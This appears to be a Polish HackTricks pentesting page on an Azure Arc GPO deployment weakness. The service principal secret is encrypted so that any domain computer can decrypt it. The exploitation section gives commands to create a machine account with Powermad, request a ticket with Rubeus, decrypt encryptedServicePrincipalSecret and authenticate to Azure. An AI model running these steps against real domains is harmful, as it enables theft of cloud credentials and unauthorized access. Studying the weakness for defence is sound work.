Az - Arc vulnerable GPO Deploy Script

Wesprzyj HackTricks

Identyfikacja problemów

Azure Arc umożliwia integrację nowych serwerów wewnętrznych (serwery dołączone do domeny) do Azure Arc za pomocą metody Group Policy Object. W tym celu Microsoft udostępnia zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury dołączania. Wewnątrz pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 i AzureArcDeployment.psm1.

Podczas wykonywania skryptu DeployGPO.ps1 następujące czynności są wykonywane:

  1. Tworzy GPO do dołączania serwerów Azure Arc w lokalnej domenie.

  2. Kopiuje skrypt dołączania EnableAzureArc.ps1 na określoną udostępnioną sieć stworzoną dla procesu dołączania, która zawiera również pakiet instalacyjny systemu Windows.

Podczas uruchamiania tego skryptu administratorzy systemu muszą podać dwie główne parametry: ServicePrincipalId i ServicePrincipalClientSecret. Dodatkowo wymagane są inne parametry, takie jak domena, FQDN serwera hostującego udział, nazwa udziału. Dodatkowe szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą również zostać podane skryptowi.

Za pomocą szyfrowania DPAPI-NG w katalogu AzureArcDeploy na określonym udziale generowany jest zaszyfrowany sekret. Zaszyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane poprzez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako dane wejściowe. Deskryptor składa się z SID grup Domain Computer i Domain Controller, zapewniając, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń Domain Controllers i Domain Computers, jak zaznaczono w komentarzach skryptu.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Wykorzystanie

Mamy następujące warunki:

  1. Udało nam się przebić do wewnętrznej sieci.

  2. Mamy możliwość utworzenia lub przejęcia konta komputera w ramach Active Directory.

  3. Odkryliśmy udział sieciowy zawierający katalog AzureArcDeploy.

Istnieje kilka metod pozyskania konta komputera w środowisku AD. Jedną z najczęstszych jest wykorzystanie limitu konta komputerowego. Inną metodą jest skompromitowanie konta komputerowego poprzez podatne ACL lub różne inne błędy konfiguracyjne.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Po uzyskaniu konta maszyny możliwe jest uwierzytelnienie przy użyciu tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub skorzystać z opcji pass-the-ticket za pomocą Rubeus.exe.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Poprzez przechowywanie TGT dla naszego konta komputerowego w pamięci, możemy użyć poniższego skryptu do odszyfrowania tajnego klucza głównego usługi.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternatywnie, możemy użyć SecretManagement.DpapiNG.

W tym momencie możemy zebrać pozostałe informacje potrzebne do połączenia z Azure z pliku ArcInfo.json, który jest przechowywany na tym samym udostępnionym zasobie sieciowym co plik encryptedServicePrincipalSecret. Ten plik zawiera szczegóły takie jak: TenantId, servicePrincipalClientId, ResourceGroup i inne. Z tymi informacjami możemy użyć Azure CLI do uwierzytelnienia jako skompromitowany podmiot usługi.

Referencje

Last updated